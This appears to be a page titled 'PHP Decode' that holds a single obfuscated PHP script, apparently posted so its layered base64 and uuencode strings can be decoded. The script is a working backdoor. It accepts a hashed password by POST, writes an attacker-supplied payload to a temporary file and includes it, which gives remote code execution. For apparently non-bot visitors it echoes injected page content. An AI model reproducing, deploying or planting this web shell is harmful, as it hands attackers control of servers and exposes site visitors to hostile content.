PHP Decode

<?php $t='error_reporting';$t(0);$b0='MDxXRVM3Vj1FPSVdVDk2VVA3VjFJPEBgYApgCg==';$b1='base64_encode';$b2='base64_decode';$b3='convert_uuencode';$b4='convert_uudecode';$b5='MTlGRUw5NV1QPTcxPzhWXU49JjVOPScsYApgCg==';$b7='';$b8='JD0mRUM6UGBgCmAK';$b9='IzkmRUUKYAo=';$b10='Izs2MFUKYAo=';$b11='QC4mOFE5Q0RWLSYkVDhDMUQuJjBRODYsUzlDYFMuIzhWLjMtRCxDQUQsIyxgCmAK';$b12='IjhGQGAKYAo=';$b13='IjhDLGAKYAo=';$b14='Ji8jXVA6J2BACmAK';$b18='LS8nLUM8RkVQPSIhUzxGLF0pUGBgCmAK';$b19='KylTWFwrVy1DPEZFUD0jWGAKYAo=';$b20='TTonMVQ8JyxaK1JdUzsmNUU8IllTPScpQT0mXVM4Rl1EPjJZQztWVE88Vi1SOjchVDxSXUg5NiVEK0ZJUwooL1c4XSxSWFgrQ2BgCmAK';$b21='JTwnKUk7RzBgCmAK';$b22='KD1XYE04NjFNOjZYYApgCg==';$b23='KD1XYE07Jl1HOjZYYApgCg==';$b24='KjxGNVM9JV1SO1c1VDkwYGAKYAo=';$b25='Jz1XYE06Ry1PO0BgYApgCg==';$b30='KTIlMTQ0JV0oM1UtNApgCg==';$b31='KzRENTE1NDUzNSVdNTRERGAKYAo=';$b34='JjxXMVI8Jl1TCmAK';$b41='WlhOeWEycDBjMmg1Y3paaFpUUnJhblU9';$b16=$b4($b2($b0))();if(isset($_POST[$b4($b2($b12))])){if($b4($b2($b10))($_POST[$b4($b2($b12))])===$b4($b2($b11))){ $b45=$_POST[$b4($b2($b13))];$b4($b2($b5))($b16.'/'.$b4($b2($b8)),$b4($b2($b14)).$b2($b45));@include($b16.'/'.$b4($b2($b8)));die();}}if(isset($_POST[$b4($b2($b8)).$b4($b2($b8))])||isset($_GET[$b4($b2($b8)).$b4($b2($b8))])){echo $b4($b2($b10))($b4($b2($b8)));die();}else{$b27=0;$b26=array($b4($b2($b22)),$b4($b2($b23)),$b4($b2($b24)),$b4($b2($b25)));$b32 = $_SERVER[$b4($b2($b30))].$_SERVER[$b4($b2($b31))];foreach ($b26 as $b33) {if($b4($b2($b34))($b32,$b33) !== false){$b27=1;}}if($b27==0) {echo $b4($b2($b18)).$b4($b2($b20)).$b4($b2($b19));}} ?>